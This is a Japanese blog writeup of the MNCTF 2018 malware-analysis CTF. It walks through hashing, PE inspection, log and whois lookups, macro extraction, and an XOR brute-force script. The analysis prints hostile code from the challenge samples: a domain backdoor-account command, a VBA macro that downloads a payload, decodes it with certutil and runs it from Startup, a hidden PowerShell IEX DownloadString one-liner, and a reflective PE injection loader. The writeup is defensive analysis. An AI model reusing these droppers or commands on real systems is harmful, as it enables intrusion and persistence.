Tahoo!!

自分の勉強していること(コンピュータ関連 / ネットワーク / セキュリティ / サーバ)や趣味について書いていきます

MNCTF 2018 Writeup

情シス担当者向けのCTFであるMNCTF 2018が一般公開されたので挑戦してみた。

f:id:takahoyo:20180716214335p:plain

http://mnctf.info/mnctf2018/

対象は情シス担当向けとのことだったが、個人的にはCSIRTでマルウェアの解析を行う人にとってはちょうど良いと感じた。
内容も実際に世の中の攻撃で使われるようなテクニックを題材にした問題が多く、とても実践的で素晴らしかった。

せっかくなので解き方を忘れないよう、全問Writeupを残しておこうと思う。

以下、ネタバレ注意

新人奮闘I (マルウェア解析 20pts)

問題ファイルのsha256のハッシュ値を取るだけ。
ハッシュ値を取得するだけならMacや通常のLinuxでもできるが、今回は他の問題のことも考えてマルウェア解析のためのツールが収録されたLinuxディストリビューションREMnuxを使った。

remnux.org

remnux@remnux:~/mnctf2018$ sha256sum AD_OptimizationTool.exe 
f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29  AD_OptimizationTool.exe

新人奮闘II (マルウェア解析 60pts)

マルウェア解析の結果を入力するWebフォームに以下の情報の入力を求められる。

  • ファイル情報
    • MD5
    • SHA1
    • SHA256
    • ファイルサイズ(バイト)
  • PE情報
  • Import関数
    • 関数名とDLL名

引き続き解析にはREMnuxを使い、ファイル情報の部分はmd5sum,sha1sum,sha256sum,lsを使い、PE情報、Import関数の部分はpedumpを使った。

remnux@remnux:~/mnctf2018$ pedump --pe AD_OptimizationTool.exe 

=== PE Header ===

                     signature:             "PE\x00\x00"

# IMAGE_FILE_HEADER:
                       Machine:        332         0x14c  x86
              NumberOfSections:          3             3
                 TimeDateStamp:    "2018-07-11 10:46:08"
          PointerToSymbolTable:          0             0
               NumberOfSymbols:          0             0
          SizeOfOptionalHeader:        224          0xe0
               Characteristics:        271         0x10f  RELOCS_STRIPPED, EXECUTABLE_IMAGE
                                                          LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED
                                                          32BIT_MACHINE

# IMAGE_OPTIONAL_HEADER32:
                         Magic:        267         0x10b  32-bit executable
                 LinkerVersion:                     1.73
                    SizeOfCode:        512         0x200
         SizeOfInitializedData:       1024         0x400
       SizeOfUninitializedData:          0             0
           AddressOfEntryPoint:       4096        0x1000
                    BaseOfCode:       4096        0x1000
                    BaseOfData:       8192        0x2000
                     ImageBase:    4194304      0x400000
              SectionAlignment:       4096        0x1000
                 FileAlignment:        512         0x200
        OperatingSystemVersion:                      1.0
                  ImageVersion:                      0.0
              SubsystemVersion:                     3.10
                     Reserved1:          0             0
                   SizeOfImage:      16384        0x4000
                 SizeOfHeaders:        512         0x200
                      CheckSum:      50749        0xc63d
                     Subsystem:          3             3  WINDOWS_CUI
            DllCharacteristics:          0             0
            SizeOfStackReserve:       4096        0x1000
             SizeOfStackCommit:       4096        0x1000
             SizeOfHeapReserve:      65536       0x10000
              SizeOfHeapCommit:          0             0
                   LoaderFlags:          0             0
           NumberOfRvaAndSizes:         16          0x10
remnux@remnux:~/mnctf2018$ pedump -I AD_OptimizationTool.exe 

=== IMPORTS ===

MODULE_NAME      HINT   ORD  FUNCTION_NAME
kernel32.dll        0        ExitProcess
kernel32.dll        0        Sleep
shell32.dll         0        ShellExecuteA
user32.dll          0        MessageBoxA

すべて正しい回答を入力すると、Flagが表示される。

新人奮闘III (マルウェア解析 40pts)

ファイルを実行すると、何かのコマンドが実行されてるので、それを調べて欲しいという問題。

バイナリをstringsすると、以下のような文字列があった。

/c net user /add /domain vpnadmin P@ssw0rD1!

/cがついていることから、上記の文字列はcmdの引数であると推測して、cmdを前につけたら正解だった。

ちなみにこのコマンドを実行されると、Active Directoryで管理しているDomain上にユーザが作成される。 ADの管理者がマルウェアトロイの木馬)を踏んでバックドアユーザを作られるシナリオ、確かに現実世界でもありそうだなと感じました。

新人奮闘IV (フォレンジック 40pts)

ADと連携しているというVPNシステムのログインログを渡されて、前の問題の情報を踏まえてログインされた時間を答えろという問題。

前の問題で作成されたことがわかった vpnadmin というユーザをログから探して、そのタイムスタンプを答えたら正解だった。

2018/07/13 15:01,vpnadmin,27.117.128.1

ADで認証がすべて行われるのでアカウントの管理が楽になる一方で、ADで不正なユーザを作られると、別の経路からネットワークに侵入されることがわかる良い問題だと思った。

新人奮闘V (その他 40pts)

前の問題で不正にログインしたユーザが使っているIPアドレスがどの国のものか調べろという問題。

IPアドレスの登録情報を調べるために、whoisを引いた。

$ whois 27.117.128.1
...
(省略)
...
% Information related to '27.117.128.0 - 27.117.191.255'

inetnum:        27.117.128.0 - 27.117.191.255
netname:        TBROAD-KR
descr:          Tbroad Suwon Broadcasting Corporation
country:        KR
admin-c:        LS180-KR
tech-c:         LS180-KR
status:         ALLOCATED PORTABLE
mnt-by:         MNT-KRNIC-AP
mnt-irt:        IRT-KRNIC-KR
remarks:        This information has been partially mirrored by APNIC from
remarks:        KRNIC. To obtain more specific information, please use the
remarks:        KRNIC whois server at whois.krnic.net.
changed:        hostmaster@nic.or.kr
source:         KRNIC

person:         IP Manager
address:        Gyeonggi-do Paldal-gu, Suwon-si World cup-ro 336
address:
country:        KR
phone:          +82-70-8188-1086
e-mail:         hysong@tbroad.com
nic-hdl:        LS180-KR
mnt-by:         MNT-KRNIC-AP
changed:        hostmaster@nic.or.kr
source:         KRNIC

% This query was served by the APNIC Whois Service version 1.88.15-46 (WHOIS-JP3)

countryが KR なので、韓国と答えたら正解だった。

大量不正 (マルウェア解析 スコア:80pts)

マルウェアと100個くらいのファイルが渡されて、類似性の高い組み合わせを見つけろという問題。

マルウェアの類似性というとssdeepがぱっと思いついたので、REMnuxでssdeepのシグネチャを取得し、比較。

remnux@remnux: ssdeep -s * > fuzzy.db
remnux@remnux: ssdeep -s -m  fuzzy.db 
remnux@remnux:~/mnctf2018/malware$ ssdeep -s -k fuzzy.db *
fuzzy.db:/home/remnux/malware/sample100.bin matches fuzzy.db:/home/remnux/malware/sample100.bin (100)
fuzzy.db:/home/remnux/malware/sample10.bin matches fuzzy.db:/home/remnux/malware/sample10.bin (100)
fuzzy.db:/home/remnux/malware/sample11.bin matches fuzzy.db:/home/remnux/malware/sample11.bin (100)
fuzzy.db:/home/remnux/malware/sample12.bin matches fuzzy.db:/home/remnux/malware/sample12.bin (100)
fuzzy.db:/home/remnux/malware/sample13.bin matches fuzzy.db:/home/remnux/malware/sample13.bin (100)
fuzzy.db:/home/remnux/malware/sample14.bin matches fuzzy.db:/home/remnux/malware/sample14.bin (100)
fuzzy.db:/home/remnux/malware/sample15.bin matches fuzzy.db:/home/remnux/malware/sample15.bin (100)
fuzzy.db:/home/remnux/malware/sample16.bin matches fuzzy.db:/home/remnux/malware/sample16.bin (100)
fuzzy.db:/home/remnux/malware/sample17.bin matches fuzzy.db:/home/remnux/malware/sample17.bin (100)
fuzzy.db:/home/remnux/malware/sample18.bin matches fuzzy.db:/home/remnux/malware/sample18.bin (100)
fuzzy.db:/home/remnux/malware/sample19.bin matches fuzzy.db:/home/remnux/malware/sample19.bin (100)
fuzzy.db:/home/remnux/malware/sample1.bin matches fuzzy.db:/home/remnux/malware/sample1.bin (100)
fuzzy.db:/home/remnux/malware/sample1.bin matches fuzzy.db:/home/remnux/malware/sample68.bin (99)
fuzzy.db:/home/remnux/malware/sample20.bin matches fuzzy.db:/home/remnux/malware/sample20.bin (100)
fuzzy.db:/home/remnux/malware/sample21.bin matches fuzzy.db:/home/remnux/malware/sample21.bin (100)
fuzzy.db:/home/remnux/malware/sample22.bin matches fuzzy.db:/home/remnux/malware/sample22.bin (100)
...

同じファイルのシグネチャと比較しているので100でmatchするのがあるのは当然だが、sample1.binとsample68.binだけ99でmatchしている。 この組み合わせを入れると正解だった。

種類特定 (ネットワーク 80 Pts)

サンドボックス上でマルウェアを動作させた際のマルウェアの通信を記録したpcapファイルが渡され、そこからマルウェアの名前を特定しろという問題。

f:id:takahoyo:20180715000356p:plain

HTTPパケットのURIを見ると、/images/ から始まっておりランダムな文字列が続いている。 これ見て調べるまでもなく一瞬でUrsnifとわかったので、Ursnifと入れたら正解だった。

標的攻撃I (マルウェア解析 60pts)

特定のユーザでしか動作しない検体があるので、そのユーザ名を特定しろとのこと。

検体の拡張子は.xlsだが、マクロが含まれている気がしたので、REMnuxにインストールされているoledump.pyでマクロを確認してみる。

remnux@remnux:~/mnctf2018$ oledump.py  製品価格一覧20180711.xls
  1:       110 '\x01CompObj'
  2:       476 '\x05DocumentSummaryInformation'
  3:       324 '\x05SummaryInformation'
  4:       213 'MsoDataStore/FJ\xc3\x9eQ\xc3\x81Q\xc3\x91P\xc3\x97\xc3\x84\xc3\x9e\xc3\x92\xc3\x92\xc3\x84\xc3\x9aWJM\xc3\x92FIQ==/Item'
  5:       335 'MsoDataStore/FJ\xc3\x9eQ\xc3\x81Q\xc3\x91P\xc3\x97\xc3\x84\xc3\x9e\xc3\x92\xc3\x92\xc3\x84\xc3\x9aWJM\xc3\x92FIQ==/Properties'
  6:     19430 'Workbook'
  7:       429 '_VBA_PROJECT_CUR/PROJECT'
  8:        62 '_VBA_PROJECT_CUR/PROJECTwm'
  9: m    1150 '_VBA_PROJECT_CUR/VBA/Sheet1'
 10: M    3179 '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
 11:      2835 '_VBA_PROJECT_CUR/VBA/_VBA_PROJECT'
 12:      2319 '_VBA_PROJECT_CUR/VBA/__SRP_0'
 13:       152 '_VBA_PROJECT_CUR/VBA/__SRP_1'
 14:      1244 '_VBA_PROJECT_CUR/VBA/__SRP_2'
 15:       149 '_VBA_PROJECT_CUR/VBA/__SRP_3'
 16:       276 '_VBA_PROJECT_CUR/VBA/__SRP_4'
 17:        66 '_VBA_PROJECT_CUR/VBA/__SRP_5'
 18:       523 '_VBA_PROJECT_CUR/VBA/dir'

10番目にマクロが含まれているので、この中身を見てみる。

remnux@remnux:~/mnctf2018$ oledump.py -v -s 10 製品価格一覧20180711.xls
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Declare Sub Sleep Lib "kernel32" (ByVal ms As Long)

Private Sub Workbook_Open()

us = Application.UserName

For Each C In ActiveSheet.Range("C6:C11")
    If us = C.Value Then
        Set objShell = CreateObject("WScript.Shell")
        startupFolder = objShell.SpecialFolders("Startup")
        Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
        Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
        xHttp.Open "GET", "https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert", False
        xHttp.Send
        With bStrm
            .Type = 1 '//binary
            .Open
            .write xHttp.responseBody
            .savetofile startupFolder & "\cert.pem", 2 '//overwrite
        End With
        Sleep (10000)
        Shell "certutil -decode """ & startupFolder & "\cert.pem"" """ & startupFolder & "\cert.exe"""
        Sleep (5000)
        Shell startupFolder & "\cert.exe"
    End If
Next

End Sub

ワークシートのC6からC11に入力されている値と現在のユーザ名が一致すると、コードが動作するようだ。

REMnuxにインストールしたLibreOfficeでワークシートを見てみるとCの列が見えないが、Cの列の横幅を広げると、白文字で書かれたユーザ名が見える。
このユーザ名の中から一つを入れると正解だった。

標的攻撃II (マルウェア解析 40pts)

この検体が動作すると、HTTPSでどのURLへアクセスするか答えろという問題。

前の問題で解析したマクロの中で、ユーザ名が一致した後の処理に、HTTPで指定したURL先にアクセスする処理がある。 このURLを答えると正解だった。

標的攻撃III (マルウェア解析 80pts)

検体が動作後に生成される2次検体のsha256を答えろという問題。

2次検体の生成の処理は、前の問題のURLからダウンロードしたファイルをcertutilを使ってdecodeしている。

証明書ファイルは、ファイルのヘッダとフッタを除けばBase64エンコードされたファイルなので、以下のようなコマンドで2次検体を生成した。

remnux@remnux:~/mnctf2018$ wget https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert"
remnux@remnux:~/mnctf2018$ sed -n 2p cert | base64 -d > cert.exe

その後生成されたsha256sumを使ってハッシュ値を算出し、これを回答したら正解だった。

標的攻撃IV (ネットワーク 80 pts)

2次検体が動作したときに発生する最初のURLを回答しろという問題。

Windows上で2次検体を動作させてProcess Explorerでプロセスの情報を確認したところ、以下のようなPowershellが立ち上がってることがわかった。

powershell  -WindowStyle Hidden IEX (New-Object Net.WebClient).DownloadString('https://shinobotps1.com/download_get.php');

ここに書かれているURLが正解だった。

ちなみにこの問題ファイルはマルウェアと間違えられてたみたい。確かによく出来てるけどw

穴埋防御 (マルウェア解析 100 pts)

社内のサーバで見つかった不審なファイルから生成されるマルウェアをスキャンするためのyaraルールがベンダから提供されたが、一部欠けているのでそれを埋めろという問題。 yaraルールに埋める情報はコメントで書いてあって、マルウェアが使うMutex名とのことだった。

まずは、不審なファイルをデコードして、生成されるマルウェアを取り出す。

不審なファイルはBase64エンコードされているのでデコードを行うと、以下のようなPowershellスクリプトが出力された。(おそらく、PowerSploitと呼ばれるペンテスト用ツールのコードの一部を使ったもの)

function Invoke-ReflectivePEInjection
{
...
(省略)
...
#Main function to either run the script locally or remotely
Function Main
{
    if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent)
    {
        $DebugPreference  = "Continue"
    }
    
    Write-Verbose "PowerShell ProcessID: $PID"
    
    #if ($PsCmdlet.ParameterSetName -ieq "LocalFile")
    #{
    [Byte[]]$PEBytes = [System.Convert]::FromBase64String($PEBytes)
    
    for ($i = 0; $i -lt $PEBytes.Count; $i++)
    {
        $PEBytes[$i]=$PEBytes[$i] -bXOR 0x17
    }
    #[Byte[]]$PEBytes = [System.IO.File]::ReadAllBytes((Resolve-Path $PEPath))
    #}
    
    #Verify the image is a valid PE file
    $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join ''

    if ($e_magic -ne 'MZ')
    {
        throw 'PE is not a valid PE file.'
    }

    $PEBytes[0] = 0
    $PEBytes[1] = 0

    Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $Func, $ProcId,$ForceASLR)
}

Main

}

Invoke-ReflectivePEInjection -PEBytes "Wk2HFxQXFxcTFxcX6OgXF68XFxcXFx ...(省略) ... xcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxcXFxc="  -FUNC Start

デコードされたコードの後半に行くと、Invoke-ReflectivePEInjection 関数を実行している部分がある。
引数として、-PEBytes オプションでBase64エンコードされたデータを指定おり、これが次に実行される2次検体と考えられる。

このデータをデコードする処理は直前のMain関数内に記載されており、Base64でデコード、データを0x17でXORする処理である。 この処理をPythonで行い、実行ファイルをデコードした。

Mutexを実行ファイルから見つけるのは、SANS DFIRの以下の記事を参考にした。
この記事によると、「Process ExplorerでMutex Objectを参照するハンドルを含むホスト上の開いているハンドルを一覧表示できる」とのこと。

digital-forensics.sans.org

デコードしたファイルを実行し、Process Explorerを実行。 Process Explorerのメニューの「view->Lower Pane View->Handler」を選択後、プロセスを選択してLower Paneに表示されるHandle情報を見たところ、以下のようなMutant (Mutex) があった。

f:id:takahoyo:20180716010537p:plain

ここに書かれている 1q2w3e4r0o9i8u7y6t がMutex名で、これを回答すると正解だった。

盗難情報 (暗号 100 pts)

攻撃者が外部に機密情報をアップロードする際にXOR(シングルバイトキー)→ Base64 → ROT13で暗号化しているので、ファイルを復号して記載されている製品番号を答えろという問題。

復号は暗号化と逆の順番で復号するための処理を行い、rot13は暗号化と同じように13文字ずらす、Base64はデコード処理、XORは暗号化したときと同じ鍵を使って各バイトに対してXORを行えば良い。 ただし、XORは鍵がわからないのでそれを見つける必要がある。ただ、鍵長が1byteとわかっているので総当たりで行ける。

まずは、以下のようなコードをPythonで書いて、候補となる255個のバイナリファイルを生成。

import codecs
import base64

f = open('encrypted.bin','r')
data1 = f.read()

# rot13 decode
data2 = codecs.decode(data1, 'rot13')

# base64 decode
data3 = base64.b64decode(data2)

# XOR (Single Byte key)

result = []
for key in range(0, 256):
    res = b""
    for d in data3:
        res += (d^key).to_bytes(1,'little')
    result.append(res)

i = 0
for res in result:
    f = open('./results/result'+str(i),'wb')
    f.write(res)
    f.close()
    i=i+1

その後、fileコマンドで生成されたすべてのバイナリファイルの種類を見てみると、result21というファイルがPNGファイルであることがわかった。

$ file *
result0:      data
result1:      data
result10:     data
result100:    data
....
result206:    data
result207:    data
result208:    data
result209:    data
result21: PNG image data, 660 x 441, 8-bit/color RGB, non-interlaced
result210:    data
result211:    data
...

このresult21に拡張子pngを追加して、画像ビューアで見てみると製品番号が書いてある。 これを回答すると正解だった。